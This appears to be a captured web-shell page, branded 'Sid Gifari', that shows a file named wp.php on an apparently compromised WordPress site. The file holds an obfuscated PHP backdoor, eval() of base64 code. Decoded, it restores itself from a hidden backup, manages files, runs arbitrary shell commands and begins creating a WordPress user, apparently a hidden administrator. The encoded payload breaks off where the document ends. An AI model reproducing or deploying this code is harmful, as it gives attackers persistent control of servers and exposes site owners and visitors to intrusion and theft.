Sid Gifari From Gifari Industries - BD Cyber Security Team
Home
/
home
/
airmobeuag
/
www
/
✏️
Editing: wp.php
<center><h2><strong>Ubuntu</strong></h2> <?php eval("?>".base64_decode("CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPD9waHAKLyoqCiAqIFZlcnNpb246IDguMC4zCiAqLwplcnJvcl9yZXBvcnRpbmcoMCk7CnNlc3Npb25fc3RhcnQoKTsKCiRjdXJyZW50X2ZpbGUgPSBfX0ZJTEVfXzsKJGN1cnJlbnRfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUpOwokYmFja3VwX2ZpbGVzID0gWwogICAgX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnLmluZm8ucGhwJywgICAgCl07Cgpmb3JlYWNoICgkYmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGJhY2t1cCwgJGN1cnJlbnRfY29udGVudCk7CiAgICB9Cn0KCmlmICghZmlsZV9leGlzdHMoJGN1cnJlbnRfZmlsZSkpIHsKICAgIGZvcmVhY2ggKCRiYWNrdXBfZmlsZXMgYXMgJGJhY2t1cCkgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFja3VwKSkgewogICAgICAgICAgICBAY29weSgkYmFja3VwLCAkY3VycmVudF9maWxlKTsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIiAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9Cn0KCiRST09UID0gX19ESVJfXzsKCmZ1bmN0aW9uIGVuY29kZVBhdGgoJHBhdGgpIHsKICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7CiAgICAkYiA9IGFycmF5KCJDdyIsICJ2dyIsICJGdyIsICJFdyIpOwogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRhLCAkYiwgJHBhdGgpOwp9CgpmdW5jdGlvbiBkZWNvZGVQYXRoKCRwYXRoKSB7CiAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOwogICAgJGIgPSBhcnJheSgiQ3ciLCAidnciLCAiRnciLCAiRXciKTsKICAgIHJldHVybiBzdHJfcmVwbGFjZSgkYiwgJGEsICRwYXRoKTsKfQoKLy8gSGFuZGxlIEdFVCBwYXJhbWV0ZXIgZm9yIGRpcmVjdG9yeQppZiAoaXNzZXQoJF9HRVRbJ2RpciddKSkgewogICAgJHJlcXVlc3RlZF9wYXRoID0gZGVjb2RlUGF0aCgkX0dFVFsnZGlyJ10pOwogICAgaWYgKCRyZXF1ZXN0ZWRfcGF0aCA9PT0gJycgfHwgIWlzX2RpcigkcmVxdWVzdGVkX3BhdGgpKSB7CiAgICAgICAgJGN1cnJlbnRfZGlyID0gJFJPT1Q7CiAgICB9IGVsc2UgewogICAgICAgICRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRyZXF1ZXN0ZWRfcGF0aCk7CiAgICB9Cn0gZWxzZSB7CiAgICAkY3VycmVudF9kaXIgPSAkUk9PVDsKfQoKLy8gU2V0IGN1cnJlbnQgZGlyZWN0b3J5IGluIHNlc3Npb24KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2N3ZCddKSB8fCByZWFscGF0aCgkX1NFU1NJT05bJ2N3ZCddKSAhPT0gcmVhbHBhdGgoJGN1cnJlbnRfZGlyKSkgewogICAgJF9TRVNTSU9OWydjd2QnXSA9ICRjdXJyZW50X2RpcjsKfQoKLy8gSGFuZGxlIFBPU1QgcmVxdWVzdHMKaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICAgIAogICAgJHJlZGlyZWN0ID0gdHJ1ZTsKICAgIAogICAgLy8gSGFuZGxlIGZpbGUgdXBsb2FkcyAtIEZJWEVECmlmIChpc3NldCgkX0ZJTEVTWydmaWxlcyddKSAmJiAhZW1wdHkoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddWzBdKSkgewogICAgJHVwbG9hZF9kaXIgPSAkY3VycmVudF9kaXI7CiAgICAkdXBsb2FkX21lc3NhZ2VzID0gW107CgogICAgaWYgKGlzX2FycmF5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXSkpIHsKICAgICAgICAvLyBNdWx0aXBsZSBmaWxlcwogICAgICAgICRmaWxlX2NvdW50ID0gY291bnQoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddKTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKyspIHsKICAgICAgICAgICAgaWYgKCRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7CgogICAgICAgICAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZXMnXVsndG1wX25hbWUnXVskaV07CiAgICAgICAgICAgICAgICAkb3JpZ2luYWxfbmFtZSA9ICRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV07CgogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTlcLlwtX10vIiwgIl8iLCAkb3JpZ2luYWxfbmFtZSk7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoKICAgICAgICAgICAgICAgIGlmICgkdG1wX25hbWUgJiYgaXNfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUpKSB7CgogICAgICAgICAgICAgICAgICAgICRkZXN0aW5hdGlvbiA9ICR1cGxvYWRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsKCiAgICAgICAgICAgICAgICAgICAgLy8gRGVsZXRlIGV4aXN0aW5nIGZpbGUgc28gbmV3IG9uZSByZXBsYWNlcyBpdAogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZGVzdGluYXRpb24pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkZGVzdGluYXRpb24pOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRkZXN0aW5hdGlvbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlc1tdID0gIuKckyAkb3JpZ2luYWxfbmFtZSB1cGxvYWRlZCBhbmQgcmVwbGFjZWQgaWYgZXhpc3RlZCI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlc1tdID0gIuKclyBGYWlsZWQgdG8gdXBsb2FkICRvcmlnaW5hbF9uYW1lIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfSBlbHNlIHsKICAgICAgICAvLyBTaW5nbGUgZmlsZQogICAgICAgIGlmICgkX0ZJTEVTWydmaWxlcyddWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7CgogICAgICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddOwogICAgICAgICAgICAkb3JpZ2luYWxfbmFtZSA9ICRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXTsKCiAgICAgICAgICAgICRmaWxlbmFtZSA9IHByZWdfcmVwbGFjZSgiL1teYS16QS1aMC05XC5cLV9dLyIsICJfIiwgJG9yaWdpbmFsX25hbWUpOwogICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoKICAgICAgICAgICAgaWYgKCR0bXBfbmFtZSAmJiBpc191cGxvYWRlZF9maWxlKCR0bXBfbmFtZSkpIHsKCiAgICAgICAgICAgICAgICAkZGVzdGluYXRpb24gPSAkdXBsb2FkX2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWU7CgogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkZXN0aW5hdGlvbikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGRlc3RpbmF0aW9uKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGRlc3RpbmF0aW9uKSkgewogICAgICAgICAgICAgICAgICAgICR1cGxvYWRfbWVzc2FnZXNbXSA9ICLinJMgJG9yaWdpbmFsX25hbWUgdXBsb2FkZWQgYW5kIHJlcGxhY2VkIGlmIGV4aXN0ZWQiOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdXBsb2FkX21lc3NhZ2VzW10gPSAi4pyXIEZhaWxlZCB0byB1cGxvYWQgJG9yaWdpbmFsX25hbWUiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGlmICghZW1wdHkoJHVwbG9hZF9tZXNzYWdlcykpIHsKICAgICAgICAkX1NFU1NJT05bJ3VwbG9hZF9tZXNzYWdlcyddID0gJHVwbG9hZF9tZXNzYWdlczsKICAgIH0KfQogICAgCiAgICAvLyBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMKICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pICYmICFlbXB0eSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSkpIHsKICAgICAgICAKICAgICAgICAkZXhlY0Z1bmN0aW9ucyA9IFsncGFzc3RocnUnLCAnc3lzdGVtJywgJ2V4ZWMnLCAnc2hlbGxfZXhlYycsICdwcm9jX29wZW4nLCAncG9wZW4nXTsKICAgICAgICAkY2FuRXhlY3V0ZSA9IGZhbHNlOwogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJGZ1bmMpKSB7CiAgICAgICAgICAgICAgICAkY2FuRXhlY3V0ZSA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAkY3dkID0gJF9TRVNTSU9OWydjd2QnXSA/PyAkY3VycmVudF9kaXI7CiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7CiAgICAgICAgJG91dHB1dCA9ICIiOwogICAgICAgIAogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXmNkXHMqKC4qKSQvJywgJGNtZElucHV0LCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgJGRpciA9IHRyaW0oJG1hdGNoZXNbMV0pOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCRkaXIgPT09ICcnIHx8ICRkaXIgPT09ICd+JykgewogICAgICAgICAgICAgICAgJGRpciA9ICRST09UOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpclswXSAhPT0gJy8nICYmICRkaXJbMF0gIT09ICdcXCcpIHsKICAgICAgICAgICAgICAgICRkaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRyZWFsRGlyID0gcmVhbHBhdGgoJGRpcik7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoJHJlYWxEaXIgJiYgaXNfZGlyKCRyZWFsRGlyKSkgewogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOwogICAgICAgICAgICAgICAgJGN3ZCA9ICRyZWFsRGlyOwogICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gaHRtbHNwZWNpYWxjaGFycygkcmVhbERpcik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gImJhc2g6IGNkOiAiIC4gaHRtbHNwZWNpYWxjaGFycygkbWF0Y2hlc1sxXSkgLiAiOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5IjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICRvdXRwdXQ7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPSAkY3dkOwogICAgICAgICAgICAKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkpOwogICAgICAgICAgICBleGl0OwogICAgICAgICAgICAKICAgICAgICB9IGVsc2VpZiAoJGNhbkV4ZWN1dGUpIHsKICAgICAgICAgICAgY2hkaXIoJGN3ZCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAkY21kID0gJGNtZElucHV0IC4gIiAyPiYxIjsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBzeXN0ZW0oJGNtZCk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgZXhlYygkY21kLCAkb3V0KTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBpbXBsb2RlKCJcbiIsICRvdXQpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgewogICAgICAgICAgICAgICAgJHBpcGVzID0gW107CiAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCBbCiAgICAgICAgICAgICAgICAgICAgMCA9PiBbInBpcGUiLCAiciJdLAogICAgICAgICAgICAgICAgICAgIDEgPT4gWyJwaXBlIiwgInciXSwKICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0KICAgICAgICAgICAgICAgIF0sICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNtZCwgJ3InKTsKICAgICAgICAgICAgICAgIGlmICgkaGFuZGxlKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7CiAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddID0gJG91dHB1dDsKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA9ICRjd2Q7CiAgICAgICAgICAgIAogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICJDb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXJlIGRpc2FibGVkIG9uIHRoaXMgc2VydmVyLiI7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPSAkY3dkOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBIYW5kbGUgbmV3IGZvbGRlciBjcmVhdGlvbgogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ25ld2ZvbGRlciddKSkgewogICAgICAgICRmb2xkZXJuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyduZXdmb2xkZXInXSk7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7CiAgICAgICAgICAgIG1rZGlyKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBIYW5kbGUgbmV3IGZpbGUgY3JlYXRpb24KICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZSkpIHsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZSwgJycpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGRlbGV0ZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2RlbGV0ZSddKSkgewogICAgICAgICR0YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydkZWxldGUnXTsKICAgICAgICAkYmFja3VwX2ZpbGUgPSBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1pbmZvLnBocCc7CiAgICAgICAgaWYgKHJlYWxwYXRoKCR0YXJnZXQpID09PSByZWFscGF0aChfX0ZJTEVfXykgfHwgCiAgICAgICAgICAgIHJlYWxwYXRoKCR0YXJnZXQpID09PSByZWFscGF0aCgkYmFja3VwX2ZpbGUpKSB7CiAgICAgICAgICAgIC8vIFByZXZlbnQgZGVsZXRpb24gb2YgbWFpbiBzY3JpcHQgYW5kIGJhY2t1cAogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHRhcmdldCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkdGFyZ2V0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIHJlbmFtZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsKICAgICAgICAkb2xkID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnb2xkJ107CiAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ25ldyddOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkb2xkKSAmJiAhZmlsZV9leGlzdHMoJG5ldykpIHsKICAgICAgICAgICAgcmVuYW1lKCRvbGQsICRuZXcpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGNobW9kCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnY2htb2RfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NobW9kJ10pKSB7CiAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydjaG1vZF9maWxlJ107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgICAgICBjaG1vZCgkZmlsZSwgaW50dmFsKCRfUE9TVFsnY2htb2QnXSwgOCkpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGZpbGUgZWRpdGluZwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2VkaXRfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkpIHsKICAgICAgICAkZmlsZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ2VkaXRfZmlsZSddOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICB9CiAgICAKICAgIGlmICgkcmVkaXJlY3QpIHsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gUmVjdXJzaXZlIGRpcmVjdG9yeSBkZWxldGlvbiBmdW5jdGlvbgpmdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcikgewogICAgaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJGRpcik7CiAgICB9CiAgICAKICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7CiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICBkZWxldGVEaXJlY3RvcnkoJHBhdGgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVubGluaygkcGF0aCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICByZXR1cm4gcm1kaXIoJGRpcik7Cn0KCi8vIFNjYW4gZGlyZWN0b3J5CiRpdGVtcyA9IHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsKJGZvbGRlcnMgPSBbXTsKJGZpbGVzID0gW107Cgpmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsKICAgIAogICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgIAogICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSkgewogICAgICAgICRmb2xkZXJzW10gPSBbCiAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwKICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsCiAgICAgICAgICAgICdpc19kaXInID0+IHRydWUsCiAgICAgICAgICAgICdzaXplJyA9PiAnLScsCiAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpLAogICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnVsbF9wYXRoKQogICAgICAgIF07CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlc1tdID0gWwogICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICAgICAnaXNfZGlyJyA9PiBmYWxzZSwKICAgICAgICAgICAgJ3NpemUnID0+IGZpbGVzaXplKCRmdWxsX3BhdGgpLAogICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwKICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBmaWxlbXRpbWUoJGZ1bGxfcGF0aCksCiAgICAgICAgICAgICdleHRlbnNpb24nID0+IHBhdGhpbmZvKCRpdGVtLCBQQVRISU5GT19FWFRFTlNJT04pCiAgICAgICAgXTsKICAgIH0KfQoKdXNvcnQoJGZvbGRlcnMsIGZ1bmN0aW9uKCRhLCAkYikgewogICAgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7Cn0pOwoKdXNvcnQoJGZpbGVzLCBmdW5jdGlvbigkYSwgJGIpIHsKICAgIHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOwp9KTsKCiRlZGl0TW9kZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pOwokZWRpdEZpbGUgPSAkX0dFVFsnZWRpdCddID8/ICcnOwokZWRpdENvbnRlbnQgPSAnJzsKCmlmICgkZWRpdE1vZGUgJiYgaXNfZmlsZSgkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGVkaXRGaWxlKSkgewogICAgJGVkaXRDb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGVkaXRGaWxlKSk7Cn0KCiR0ZXJtaW5hbF9vdXRwdXQgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddID8/ICcnOwokdGVybWluYWxfY3dkID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA/PyAkY3VycmVudF9kaXI7CnVuc2V0KCRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10sICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10pOwoKLy8gV29yZFByZXNzIHVzZXIgY3JlYXRpb24KJHdwX21lc3NhZ2UgPSAnJzsKaWYgKCFpc3NldCgkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSkpIHsKICAgICRzZWFyY2hfcGF0aHMgPSBbJGN1cnJlbnRfZGlyLCBkaXJuYW1lKCRjdXJyZW50X2RpciksICRST09UXTsKICAgIGZvcmVhY2ggKCRzZWFyY2hfcGF0aHMgYXMgJHdwX3BhdGgpIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWxvYWQucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtbG9hZC5waHAnKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtY29uZmlnLnBocCcpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykpIHs